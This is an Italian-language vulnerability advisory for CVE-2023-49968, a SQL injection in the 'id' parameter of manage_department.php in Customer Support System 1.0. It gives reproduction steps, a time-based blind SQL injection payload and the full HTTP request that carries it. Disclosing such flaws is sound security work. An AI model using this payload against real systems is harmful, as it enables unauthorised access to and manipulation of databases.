CVE-2023-49968

Customer Support System 1.0 - Vulnerabilità di SQL Injection in manage_department.php tramite il parametro "id" dell'URL

Descrizione: Nella versione 1 del Customer Support System esiste una vulnerabilità di SQL Injection. Un attaccante con intenti malevoli può eseguire comandi SQL sul database MySQL manipolando il parametro 'id' dell'URL durante la modifica di un reparto.

Versione del prodotto vulnerabile: Customer Support System 1.0
Autore CVE: Geraldo Alcântara
Data: 28/11/2023
Confermato il: 19/12/2023
CVE: CVE-2023-49968
Testato su: Windows

Passaggi per riprodurre:

1- Accedere all'applicazione.
2- Andare alla pagina di modifica del reparto, fare clic sul pulsante "Action" e selezionare "Edit".
3- Il parametro 'id' verrà passato, consentendo l'inserimento di un payload dannoso. payload: (select*from(select(sleep(5)))a)

Richiesta:

GET /customer_support/manage_department.php?id=(select*from(select(sleep(5)))a) HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=department_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n